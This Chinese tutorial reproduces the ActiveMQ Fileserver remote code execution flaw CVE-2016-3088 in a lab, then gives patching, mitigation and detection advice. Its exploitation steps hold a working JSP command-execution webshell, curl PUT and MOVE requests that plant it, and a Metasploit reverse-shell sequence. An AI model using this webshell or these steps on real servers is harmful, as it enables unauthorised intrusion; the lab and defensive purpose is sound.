溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

ActiveMQ遠程代碼執行漏洞CVE-2016-3088是怎么復現的

發布時間:2021-12-29 17:43:53 來源:億速云 閱讀:361 作者:柒染 欄目:安全技術
# ActiveMQ遠程代碼執行漏洞CVE-2016-3088復現分析

## 漏洞概述

CVE-2016-3088是Apache ActiveMQ中存在的一個嚴重安全漏洞,該漏洞允許攻擊者通過未授權訪問的Fileserver功能上傳惡意文件,進而實現遠程代碼執行(RCE)。漏洞影響版本主要為Apache ActiveMQ 5.x至5.13.0。

### 漏洞原理
ActiveMQ默認開放61616(消息代理)和8161(管理控制臺)端口。其Fileserver功能允許用戶通過HTTP PUT方法上傳文件,但未對上傳文件類型進行嚴格限制,攻擊者可上傳包含惡意代碼的JSP文件到web目錄,通過HTTP請求觸發代碼執行。

---

## 環境搭建

### 實驗環境要求
- 靶機:Kali Linux(運行ActiveMQ 5.12.1)
- 攻擊機:任意可發送HTTP請求的主機
- 工具:Burp Suite/cURL、Metasploit Framework

### 安裝步驟
1. 下載受影響版本:
   ```bash
   wget https://archive.apache.org/dist/activemq/5.12.1/apache-activemq-5.12.1-bin.tar.gz
   tar -xzvf apache-activemq-5.12.1-bin.tar.gz
   cd apache-activemq-5.12.1/bin
   ./activemq start
  1. 驗證服務啟動:
    • 訪問http://target_ip:8161/admin(默認賬號密碼admin/admin)

漏洞復現步驟

方法一:手動利用

  1. 檢測Fileserver是否存在

    curl -X OPTIONS http://target_ip:8161/fileserver/
    # 若返回包含PUT/DELETE方法,則存在風險
    
  2. 上傳WebShell: 創建惡意JSP文件shell.jsp

    <%@ page import="java.util.*,java.io.*"%>
    <%
    if (request.getParameter("cmd") != null) {
       Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
       OutputStream os = p.getOutputStream();
       InputStream in = p.getInputStream();
       DataInputStream dis = new DataInputStream(in);
       String disr = dis.readLine();
       while ( disr != null ) {
           out.println(disr); 
           disr = dis.readLine(); 
       }
    }
    %>
    

    使用PUT方法上傳:

    curl -v -X PUT --data "@shell.jsp" "http://target_ip:8161/fileserver/shell.jsp"
    
  3. 移動文件至Web目錄

    curl -v -X MOVE --header "Destination: file:///opt/activemq/webapps/admin/shell.jsp" "http://target_ip:8161/fileserver/shell.jsp"
    
  4. 執行命令: 訪問http://target_ip:8161/admin/shell.jsp?cmd=whoami查看命令回顯。

方法二:Metasploit自動化利用

msfconsole
use exploit/multi/http/activemq_upload_jsp
set RHOSTS target_ip
set RPORT 8161
set TARGETURI /fileserver/
set PAYLOAD java/jsp_shell_reverse_tcp
set LHOST attacker_ip
exploit

修復建議

  1. 官方補?。?/p>

    • 升級至ActiveMQ 5.13.1及以上版本
    • 禁用Fileserver功能(修改conf/jetty.xml中Fileserver配置)
  2. 臨時緩解措施:

    <!-- 在conf/jetty.xml中添加 -->
    <bean class="org.eclipse.jetty.server.handler.ContextHandler">
     <property name="contextPath" value="/fileserver" />
     <property name="handler">
       <bean class="org.eclipse.jetty.server.handler.ResourceHandler">
         <property name="allowedMethods" value="GET" />
       </bean>
     </property>
    </bean>
    

技術深度分析

漏洞根源在于: 1. 權限控制缺失:Fileserver未做身份驗證 2. 文件操作濫用:MOVE方法可跨目錄移動文件 3. 沙箱繞過:JSP文件可直接在Web上下文執行

攻擊流量特征: - HTTP PUT請求包含.jsp擴展名 - MOVE請求的Destination頭包含webapps路徑


參考鏈接

”`

注:實際復現需在授權環境下進行,部分操作可能因環境差異需要調整。文中IP地址需替換為實際目標地址。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女